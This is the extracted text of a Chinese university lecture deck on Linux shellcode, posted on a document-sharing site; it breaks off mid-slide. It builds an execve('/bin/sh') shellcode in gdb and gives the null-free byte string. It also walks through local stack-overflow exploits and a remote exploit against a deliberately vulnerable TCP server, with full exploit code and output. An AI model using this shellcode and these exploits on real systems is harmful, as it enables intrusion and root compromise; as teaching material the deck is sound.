《网络安全11-Linux shellcode技术.pptx》由会员分享,可在线阅读,更多相关《网络安全11-Linux shellcode技术.pptx(66页珍藏版)》请在taowenge.com淘文阁网|工程机械CAD图纸|机械工程制图|CAD装配图下载|SolidWorks_CaTia_CAD_UG_PROE_设计图分享下载上搜索。
1、第11讲第9章 Linuxshellcode技术第9章Linuxshellcode技术缓冲区溢出攻击的缓冲区溢出攻击的3 3个个问题问题:(1)返回地址返回地址在攻击串的位置;在攻击串的位置;(2)返回地址的值;返回地址的值;(3)编写编写shellcode。编写shellcode要用到汇编语言。x86的汇编语法常见的有AT&T和Intel。Linux下的编译器和调试器使用的是AT&T语语法法(mov src,des)Win32下的编译器和调试器使用的是Intel语语法法(mov des,src)。Linux shellcode29.1LinuxIA32中的系统调用Linux系统中的每一个函数
2、最终都是由系统调用实现的,观察例程1(exit.c)的执行过程就可以验证这一点。例程1:exit.c#include#includevoidmain()exit(0 x12);Linux shellcode3编译、运行、跟踪程序编辑该程序并执行:nsubuntu:/overflow/bin$gcc-oe./src/subuntu:/overflow/bin$./ensubuntu:/overflow/bin$echo$?18为了观察程序的内部运行过程,用gdb跟踪其执行过程。nsubuntu:/overflow/bin$gdbeGNU gdb(Ubuntu/Linaro 7.4-2012.04
3、-0ubuntu2.1)7.4-2012.04.Linux shellcode4(gdb)disasmainDumpofassemblercodeforfunctionmain:0 x080483d4:push%ebp0 x080483d5:mov%esp,%ebp0 x080483d7:and$0 xfffffff0,%esp0 x080483da:sub$0 x10,%esp0 x080483dd:movl$0 x12,(%esp)0 x080483e4:call 0 x8048300 Endofassemblerdump.Linux shellcode5exit最终会调用_exit,对其
4、反汇编:(gdb)disas_exitNosymboltableisloaded.Usethefilecommand.gdb提示_exit不存在。这是因为现代操作系统大量使用动态链接库,有些函数只有在进程启动后才映射到进程的内存空间。为此,在主函数main中设置一个断点,并启动进程。(gdb)bmainBreakpoint1at0 x80483d7(gdb)disp/i$pc(gdb)rLinux shellcode6现在可以反汇编_exit这个函数了。(gdb)disas_exitDumpofassemblercodeforfunction_exit:0 xb7ed82c8:mov0 x4(
5、%esp),%ebx0 xb7ed82cc:mov$0 xfc,%eax 0 xb7ed82d1:call *%gs:0 x100 xb7ed82d8:mov$0 x1,%eax0 xb7ed82dd:int$0 x800 xb7ed82df:hltEndofassemblerdump.注意第3行代码,在此设置断点,执行该行指令将进入内核。Linux shellcode7(gdb)b*(_exit+9)Breakpoint2at0 xb7ed82d1(gdb)cContinuing.Breakpoint2,0 xb7ed82d1in_exit()from/lib/i386-linux-gnu/
6、libc.so.6=0 xb7ed82d1:call*%gs:0 x10(gdb)si0 xb7fdd414 in _kernel_vsyscall()=0 xb7fdd414:push%ecx(gdb)si0 xb7fdd415in_kernel_vsyscall()=0 xb7fdd415:push%edx可见,call*%gs:0 x10将进入到内核系统调用。反汇编这段内核代码:Linux shellcode8(gdb)disas_kernel_vsyscallDumpofassemblercodeforfunction_kernel_vsyscall:0 xb7fdd414:push%
7、ecx=0 xb7fdd415:push%edx0 xb7fdd416:push%ebp0 xb7fdd417:mov%esp,%ebp 0 xb7fdd419:sysenter 0 xb7fdd427:retEndofassemblerdump.在执行sysenter指令处设置一个断点:(gdb)b*(_kernel_vsyscall+5)Breakpoint3at0 xb7fdd419Linux shellcode9指令sysenter是在奔腾(R)II处理器上引入的“快速系统调用”功能的一部分。指令sysenter进行过专门的优化,能够以最佳性能转换到保护环0(CPL0)。sysente
8、r是int$0 x80的替代品,实现相同的功能。继续执行到指令sysenter,查看寄存器的值:(gdb)b*(_kernel_vsyscall+5)Breakpoint3at0 xb7fdd419(gdb)cContinuing.Breakpoint3,0 xb7fdd419in_kernel_vsyscall()=0 xb7fdd419:sysenter Linux shellcode10(gdb)iregeaxebxecxedxeax 0 xfc 252ebx 0 x1218ecx 0 x0 0edx 0 x0 0(gdb)siInferior1(process2547)exitedwi
9、thcode022可见,在系统调用之前,进程设设置置eax的的值值为为0 xfc,这是实现_exit的系统调用号;设置ebx的值为_exit的参数,即退出系统的退出码。我们也可以直接使用系统功能调用sysenter(int$0 x80)实现exit(0 x12)相同的功能,这只要在系统调用前设置好寄存器的值就可以了。Linux shellcode11例程2:exit_asm.cvoidmain()_asm_(mov$0 xfc,%eax;mov$0 x12,%ebx;sysenter;/int$0 x80;);编辑该程序并执行::/overflow/bin$gcc-oexit_asm./src
10、/exit_subuntu:/overflow/bin$./exit_asmnsubuntu:/overflow/bin$echo$?18可见例程2和例程1实现了相同的功能。Linux shellcode12Linux下的每一个函数最终是通过系统功能调用sysenter(或int$0 x80)实现的。系统功能调用号用寄存器eax传递,其余的参数用其他寄存器或堆栈传递。注注意意:有些系统不支持sysenter指令。虽然sysenter和int$0 x80具有相同的功能,但是从通用性考虑,用int$0 x80更好一些。Linux shellcode139.2编写LinuxIA32的shellcod
11、eshellcode是注入到目标进程中的二进制代码,其功能取决于编写者的意图。编写shellcode要经过以下3个步骤:1.编写简洁的能完成所需功能的C程序;2.反汇编可执行代码,用系统功能调用代替函数调用,用汇编语言实现相同的功能;3.提取出操作码,写成shellcode,并用C程序验证。下面以获得shell的shellcode为例,介绍编写shellcode的方法。Linux shellcode149.2.1编写一个能获得shell的程序通常溢出后是为了得到一个Shell,以便于控制目标系统。编译shell.c并运行:nsubuntu:/overflow/bin$gcc-oshell./s
12、rc/subuntu:/overflow/bin$./shell$可见,能获得一个shell(提提示符不同示符不同)。shell.cvoidfoo()char*name2;name0=/bin/sh;name1=NULL;execve(name0,name,NULL);intmain(intargc,char*argv)foo();return0;Linux shellcode159.2.2用系统功能调用获得shell用gdb跟踪shell的运行,确定执行execve的系统功能调用号及其它寄存器的值。nsubuntu:/overflow/bin$gdbshell(gdb)disasfooDum
13、pofassemblercodeforfunctionfoo:0 x080483e4:push%ebp0 x080483e5:mov%esp,%ebp.0 x0804840d:call 0 x8048320 0 x08048412:leave0 x08048413:retEndofassemblerdump.Linux shellcode16(gdb)b*(foo+41)(gdb)disp/i$pc(gdb)rBreakpoint1,0 x0804840dinfoo()=0 x804840d:call 0 x8048320(gdb)disasexecveDumpofassemblercodef
14、orfunctionexecve:0 xb7ed82e0:sub$0 x8,%esp0 xb7ed82e3:mov%ebx,(%esp).0 xb7ed8308:call *%gs:0 x100 xb7ed830f:xchg%edi,%ebxEndofassemblerdump.Linux shellcode17(gdb)b*(execve+40)Breakpoint2at0 xb7ed8308(gdb)cContinuing.Breakpoint2,0 xb7ed8308inexecve()from/lib/i386-linux-gnu/libc.so.6=0 xb7ed8308:call*
15、%gs:0 x10(gdb)si0 xb7fdd414in_kernel_vsyscall()=0 xb7fdd414:push%ecx在 此 进 入 内 核 的 虚 拟 系 统 调 用。反 汇 编_kernel_vsyscall,设置断点,继续执行直到sysenter指令。Linux shellcode18(gdb)disas_kernel_vsyscallDumpofassemblercodeforfunction_kernel_vsyscall:=0 xb7fdd414:push%ecx0 xb7fdd415:push%edx0 xb7fdd416:push%ebp0 xb7fdd417
16、:mov%esp,%ebp0 xb7fdd419:sysenter.Endofassemblerdump.(gdb)b*(_kernel_vsyscall+5)Breakpoint3at0 xb7fdd419(gdb)cContinuing.Breakpoint3,0 xb7fdd419in_kernel_vsyscall()=0 xb7fdd419:sysenterLinux shellcode19查看寄存器的值,(gdb)iregeaxebxecxedxeax0 xb11ebx0 x8048500134513920ecx0 xbffff368-1073745048edx0 x00(gdb)
17、x/x$ecx0 xbffff368:0 x08048500(gdb)x/s$ebx0 x8048500:/bin/sh(gdb)siprocess2589isexecutingnewprogram:/bin/dash.$Linux shellcode20因此,执行sysenter之前寄存器的值为:eax保存保存execve的系统调用号的系统调用号11;ebx保存保存name0=”/bin/sh”这个指针;这个指针;ecx保存保存name这个指针;这个指针;edx为为0。这样执行sysenter后就能执行/bin/sh,得到一个shell了。如果用相同的寄存器的值调用sysenter,则可以不
18、调用execve函数,也可以达到相同的目的。用汇编语言实现该功能的代码见程序shell_asm.c。Linux shellcode21用功能调用实现execvevoidfoo()_asm_(mov$0 x0,%edx;push%edx;push$0 x0068732f;push$0 x6e69622f;mov%esp,%ebx;push%edx;push%ebx;mov%esp,%ecx;mov$0 xb,%eax;int$0 x80;/sysenter;);intmain(intargc,char*argv)foo();return0;$gcc-o shell_asm shell_asm.c
19、$./shell_asm$可实现execve的功能。It works!Linux shellcode229.2.3从可执行文件中提取出shellcode下一步工作是从可执行文件中提取出操作码,作为字符串保存为shellcode,并用C程序验证。为此,先利用objdump(或gdb)把核心代码(在此为foo函数的代码)反汇编出来:nsubuntu:/overflow/bin$objdump-dshell_asmshell_asm:fileformatelf32-i386Linux shellcode23Disassemblyofsection.text:080483b4:80483b4:55pu
20、sh%ebp80483b5:89e5mov%esp,%ebp 80483b7:ba 00 00 00 00 mov$0 x0,%edx 80483bc:52 push%edx 80483bd:68 2f 73 68 00 push$0 x68732f 80483c2:68 2f 62 69 6e push$0 x6e69622f 80483c7:89 e3 mov%esp,%ebx 80483c9:52 push%edx 80483ca:53 push%ebx 80483cb:89 e1 mov%esp,%ecx 80483cd:b8 0b 00 00 00 mov$0 xb,%eax 804
21、83d2:cd 80 int$0 x8080483d4:5dpop%ebp80483d5:c3retLinux shellcode24其中地址范围在80483b7,80483d4)的二进制代码是shellcode所需的操作码,将其按顺序放到字符串中去,该字符串就是实现指定功能的shellcode。在本例中,shellcode如下:charshellcode=xbax00 x00 x00 x00 x52x68x2fx73x68x00 x68x2fx62x69x6ex89xe3x52x53x89xe1xb8x0bx00 x00 x00 xcdx80;例程:shell_asm_badcode.cch
22、arshellcode=xbax00 x00 x00 x00 x52x68x2fx73x68x00 x68x2fx62x69x6ex89xe3x52x53x89xe1xb8x0bx00 x00 x00 xcdx80;voidmain()(void(*)()shellcode)();编译并运行该程序,结果正确:/overflow/bin$gcc-oshell_bad./src/shell_asm_badcode.c/overflow/bin$./shell_bad$Linux shellcode25虽然该shellcode能实现期望的功能,但shellcode中存在字符x00,而x00是字符串结
23、束标志。由于shellcode是要拷贝到缓冲区中去的,在x00之后的代码将丢弃。因此,shellcode中不能存在x00。有两种方法避免shellcode中的x00:(1)修改汇编代码,用别的汇编指令代替会出现机器码x00的汇编指令,比如用xor%edx,%edx代替mov$0 x0,%edx。这种方法适合简短的shellcode;(2)对shellcode进行编码,把解码程序和编码后的shellcode作为新的shellcode。我们在此介绍第一种方法,第二种方法在“第11章Windowsshellcode技术”中介绍。Linux shellcode26目标代码中有3条汇编指令包含x00:b
24、a00000000mov$0 x0,%edx682f736800push$0 x68732fb80b000000mov$0 xb,%eax1.用”xor%reg,%reg”置换“mov$0 x0,%reg”;2.用”/bin/sh”置换”/bin/sh”,汇编码变为:push$0 x68732f6e,push$0 x69622f2f;3.用”lea0 xb(%edx),%eax”置换”mov$0 xb,eax”。Linux shellcode27修改后的汇编代码如下:_asm_(xor%edx,%edx;push%edx;push$0 x68732f6e;push$0 x69622f2f;mo
25、v%esp,%ebx;push%edx;push%ebx;mov%esp,%ecx;lea0 xb(%edx),%eax;int%0 x80;);Linux shellcode28用 objdump把 代 码 提 取 出 来,得 到 正 确 的shellcode如下:charshellcode=x31xd2x52x68x6ex2fx73x68x68x2fx2fx62x69x89xe3x52x53x89xe1x8dx42x0bxcdx80;该shellcode在目标进程空间运行后将获得一个shell,可以用于对任何LinuxIA32进程的本地攻击。Linux shellcode299.3Linu
26、xIA32本地攻击如果在目标系统中有一个合法的帐户,则可以先登录到系统,然后通过攻击某个具有root权限的进程,以试图提升用户的权限从而控制系统。如果被攻击的目标缓冲区较小,不足以容纳shellcode,则将shellcode放在被溢出缓冲区的后面;如果目标缓冲区较大,足以容纳shellcode,则将shellcode放在被溢出缓冲区中。一般而言,如果进程从文件中读数据或从环境中获得数据,且存在溢出漏洞,则有可能获得shell。如果进程从终端获取用户的输入,尤其是要求输入字符串,则很难获得shell。这是因为shellcode中有大量的不可显示的字符,用户很难以字符的形式输入到缓冲区。Linu
27、x shellcode309.3.1小缓冲区的本地溢出攻击以下函数(lvictim.c)从文件中读取数据,然后拷贝到一个小的缓冲区中。#defineLARGE_BUFF_LEN1024voidsmash_smallbuf(char*largebuf)charbuffer32;FILE*badfile;badfile=fopen(./SmashSmallBuf.bin,r);fread(largebuf,sizeof(char),LARGE_BUFF_LEN,badfile);fclose(badfile);largebufLARGE_BUFF_LEN=0;printf(Smashasmallb
28、ufferwith%dbytes.nn,strlen(largebuf);strcpy(buffer,largebuf);/smashitandgetashell.Linux shellcode31voidmain(intargc,char*argv)charattackStrLARGE_BUFF_LEN+1;smash_smallbuf(attackStr);由于buffer32只有32字节,无法容纳shellcode,因此shellcode只能放在largebuf中偏移32之后的某个位置。该位置取决于smash_smallbuf的返回地址与buffer的首地址的距离,这需要通过gdb调试目
29、标进程而确定。Linux shellcode32nsubuntu:/overflow/bin$gcc-fno-stack-protector-o lvictim./src/subuntu:/overflow/bin$gdblvictim(gdb)disassmash_smallbufDumpofassemblercodeforfunctionsmash_smallbuf:0 x080484b4:push%ebp.0 x0804852d:call 0 x80483c0 0 x08048532:leave 0 x08048533:retEndofassemblerdump.(gdb)b*(smas
30、h_smallbuf+0)Breakpoint1at0 x80484b4(gdb)b*(smash_smallbuf+121)Breakpoint2at0 x804852d(gdb)b*(smash_smallbuf+127)Breakpoint3at0 x8048533Linux shellcode33(gdb)r.(gdb)x/x$esp0 xbfffef5c:0 x08048696(gdb)c.(gdb)x/x$esp0 xbfffef10:0 xbfffef2c(gdb)p0 xf5c-0 xf2c$1=48(gdb)由此可知,应该在largebuf+48处放置攻击代码的跳转地址RET
31、,shellcode必须放在largebuf+48+4=largebuf+52之后的位置。为了让攻击串适用于较大一些的缓冲区,将其放在largebuf-strlen(shellcode)-1开始的位置。Linux shellcode34图9-1攻击小缓冲区的攻击串Linux shellcode35以下代码(lexploit.c)构造针对小缓冲区的攻击串。/YoushouldchangethevalueofiOffsetbydebugthevictimprocess.#defineSMALL_BUFFER_START0 xbfffef2c#defineATTACK_BUFF_LEN1024voi
32、dShellCodeSmashSmallBuf()charattackStrATTACK_BUFF_LEN;unsignedlong*ps;FILE*badfile;memset(attackStr,0 x90,ATTACK_BUFF_LEN);strcpy(attackStr+(ATTACK_BUFF_LEN-strlen(shellcode)-1),shellcode);ps=(unsignedlong*)(attackStr+48);*(ps)=SMALL_BUFFER_START+0 x100;attackStrATTACK_BUFF_LEN-1=0;badfile=fopen(./S
33、mashSmallBuf.bin,w);fwrite(attackStr,strlen(attackStr),1,badfile);fclose(badfile);Linux shellcode36依次编译和运行lexploit.c和lvictim.c,将获得一个shell。nsubuntu:/overflow/bin$gcc-olexploit./src/subuntu:/overflow/bin$./lexploitSmashSmallBuf():LengthofattackStr=1023RETURN=0 xbffff02c.nsubuntu:/overflow/bin$gcc-fno-
34、stack-protector-olvictim./src/subuntu:/overflow/bin$./lvictimSmashasmallbufferwith1024bytes.$若无法攻击成功,则需要调整SMALL_BUFFER_START的值。Linux shellcode379.3.2大缓冲区的本地溢出攻击如果被攻击的缓冲区足于容纳shellcode,则可以将shellcode放在缓冲区中。考虑以下的函数:voidsmash_largebuf(char*largebuf)charbuffer512;FILE*badfile;badfile=fopen(./SmashLargeBuf
35、.bin,r);fread(largebuf,sizeof(char),LARGE_BUFF_LEN,badfile);fclose(badfile);largebufLARGE_BUFF_LEN=0;printf(Smashalargebufferwith%dbytes.nn,strlen(largebuf);strcpy(buffer,largebuf);/smashitandgetashell.Linux shellcode38main(intargc,char*argv)charattackStrLARGE_BUFF_LEN+1;smash_largebuf(attackStr);目标
36、缓冲区有512字节,而获得shell的shellcode不到100字节,因此可以按图9-2的方式组织攻击串,其中,N=512-strlen(shellcode)。关键在于通过调试目标进程确定缓冲区的起始地址。Linux shellcode39图9-2攻击大缓冲区的攻击串Linux shellcode40以下代码(lexploit.c)构造针对大缓冲区的攻击串。#defineOFF_SET528#defineLARGE_BUFFER_START0 xbfffed4cvoidShellCodeSmashLargeBuf()charattackStrATTACK_BUFF_LEN;unsignedl
37、ong*ps,ulReturn;FILE*badfile;memset(attackStr,0 x90,ATTACK_BUFF_LEN);strcpy(attackStr+(LBUFF_LEN-strlen(shellcode)-1),shellcode);memset(attackStr+strlen(attackStr),0 x90,1);/ps=(unsignedlong*)(attackStr+OFF_SET);*(ps)=LARGE_BUFFER_START+0 x100;attackStrATTACK_BUFF_LEN-1=0;printf(nSmashLargeBuf():ntL
38、engthofattackStr=%dRETURN=%p.n,strlen(attackStr),(void*)(*(ps);badfile=fopen(./SmashLargeBuf.bin,w);fwrite(attackStr,strlen(attackStr),1,badfile);fclose(badfile);Linux shellcode41依次编译和运行lexploit.c和lvictim.c,将获得一个shell。/overflow/bin$gcc-olexploit./src/lexploit.c/overflow/bin$./lexploitSmashLargeBuf()
39、:LengthofattackStr=1023RETURN=0 xbfffee4c./overflow/bin$gcc-fno-stack-protector-o lvictim./src/lvictim.c/overflow/bin$./lvictimSmashalargebufferwith1024bytes.$Linux shellcode42现代操作系统采用了地址随机化技术,缓冲区的起始地址是会动态变化的,必须在攻击串中放置足够多的NOP,以使得RET的取值范围足够大,才能猜测一个正确的RET。而图9-2所示的NOP个数不会超过缓冲区的大小,RET的取值范围很小,不适合攻击现代操作系统
40、。因此,进行实际攻击时,一般将shellcode放置在攻击串的最末端,并且在攻击串中放置很多的NOP,能达到几万甚至几兆字节,即使是这样,也不能保证每次都能攻击成功。Linux shellcode439.4LinuxIA32远程攻击从另一台主机(通过网络)发起的攻击称为远程攻击。远程攻击的原理与本地攻击是相同的,只不过攻击代码通过网络发送过来,而不是在本地通过文件或环境传送过来。程序vServer.c从网络中接收数据包,然后复制到缓冲区,其中存在缓冲区溢出漏洞。Linux shellcode44例程:vServer.c#defineSMALL_BUFF_LEN64voidoverflow(ch
41、arLbuffer)charsmallbufSMALL_BUFF_LEN;strcpy(smallbuf,Lbuffer);intmain(intargc,char*argv)intlistenfd=0,connfd=0;structsockaddr_inserv_addr;intsockfd=0,n=0;charrecvBuff1024;if(argc2)printf(Usage:%s.n,argv0);return1;Linux shellcode45listenfd=socket(AF_INET,SOCK_STREAM,0);memset(&serv_addr,0,sizeof(serv
42、_addr);serv_addr.sin_family=AF_INET;serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);serv_addr.sin_port=htons(atoi(argv1);bind(listenfd,(structsockaddr*)&serv_addr,sizeof(serv_addr);listen(listenfd,10);printf(OK:%sislisteningonTCP:%dn,argv0,atoi(argv1);while(1)connfd=accept(listenfd,(structsockaddr*)NULL
43、,NULL);if(connfd=-1)continue;if(n=read(connfd,recvBuff,sizeof(recvBuff)-1)0)recvBuffn=0;printf(Received%dbytesfromclient.n,strlen(recvBuff);overflow(recvBuff);close(connfd);sleep(1);Linux shellcode46对其进行调试可知,smallbuf的起始地址与返回地址的距离为0 x4c=76字节。因此,在攻击串的偏移76放置4字节的返回地址,shellcode放在攻击串的最末端。rexploit.c能实现溢出攻击
44、,并在被攻击端获得一个shell。rexploit.c的核心函数如下:voidGetAttackBuff()unsignedlong*ps;memset(Lbuffer,0 x90,LARGE_BUFF_LEN);strcpy(Lbuffer+(LARGE_BUFF_LEN-strlen(shellcode)-10),shellcode);ps=(unsignedlong*)(Lbuffer+76);*(ps)=RETURN+0 x100;LbufferLARGE_BUFF_LEN-1=0;printf(Thelengthofattackstringis%dntReturnaddress=0
45、x%xn,strlen(Lbuffer),*(ps);Linux shellcode47在虚拟机(假设其IP地址为10.0.2.15)的一个终端编译并运行vServer.c,结果为:$gcc-fno-stack-protector-ovServer./src/vServer.c$./vServer5060OK:./vServerislisteningonTCP:5060在虚拟机的另一个终端编译并运行rexploit.c,结果为:$gcc-orexploit./src/rexploit.c$./rexploit10.0.2.155060Thelengthofattackstringis1014R
46、eturnaddress=0 xbffff020Linux shellcode48这时,在虚拟机上可以看到vServer被溢出并执行了一个shell:nsubuntu:/overflow/bin$./vServer5060OK:./vServerislisteningonTCP:5060Received 1014 bytes from client.$由此可见,远程攻击也成功了。应该说明的是,缓冲区溢出攻击的效果取决于shellcode自身的功能。如果想获得更好的攻击效果,则需编写功能更强的shellcode,这要求编写者对系统功能调用有更全面深入的了解,并具备精深的软件设计技巧。Linux
47、shellcode499.5Linuxintel64shellcode在编写shellcode时要考虑到64位Linux系统的一些特点:首先,内存地址是64位的,相应的寄存器也是64位,堆栈指针以8字节为单位递增或递减。其次,传递参数一般不使用堆栈,而是使用rdx、rdi,只有在参数个数很多的情况下才使用堆栈传递。Linux shellcode509.5.1一个获得shell的shellcode64位Linux系统的函数最终也是通过系统调用实现的。编写shellcode时也同样要经过3个步骤:(1)编写简洁的能完成所需要功能的c程序;(2)反汇编可执行代码,用系统功能调用代替函数调用,用汇编语
48、言实现相同的功能;(3)提取出操作码,写成shellcode,并用C程序验证。下面以获得shell的shellcode为例,介绍针对64位Linux系统的shellcode的设计方法。Linux shellcode51(1)编写C程序:shell64.c#include#includevoidfoo()char*name2;name0=/bin/sh;name1=NULL;execve(name0,name,NULL);intmain(intargc,char*argv)foo();return0;iu64:/work/ns/shellcode64/bin$gcc-oshell64./shel
49、l64.ciu64:/work/ns/shellcode64/bin$./shell64$shell64.c能 获 得 一 个shell。Linux shellcode52(2)反汇编可执行代码,在合适的位置设置断点,确定系统功能调用号及各寄存器的值。iu64:/work/ns/shellcode64/bin$gdbshell64GNUgdb(Ubuntu7.7.1-0ubuntu514.04.2)7.7.1(gdb)disasfooDumpofassemblercodeforfunctionfoo:0 x000000000040052d:push%rbp0 x000000000040052e
50、:mov%rsp,%rbp0 x0000000000400552:mov%rcx,%rsi0 x0000000000400555:mov%rax,%rdi 0 x0000000000400558:callq 0 x400420 0 x000000000040055d:leaveq0 x000000000040055e:retqEndofassemblerdump.Linux shellcode53(gdb)b*(foo+43)Breakpoint1at0 x400558(gdb)disp/i$pc(gdb)rBreakpoint1,0 x0000000000400558infoo()=0 x4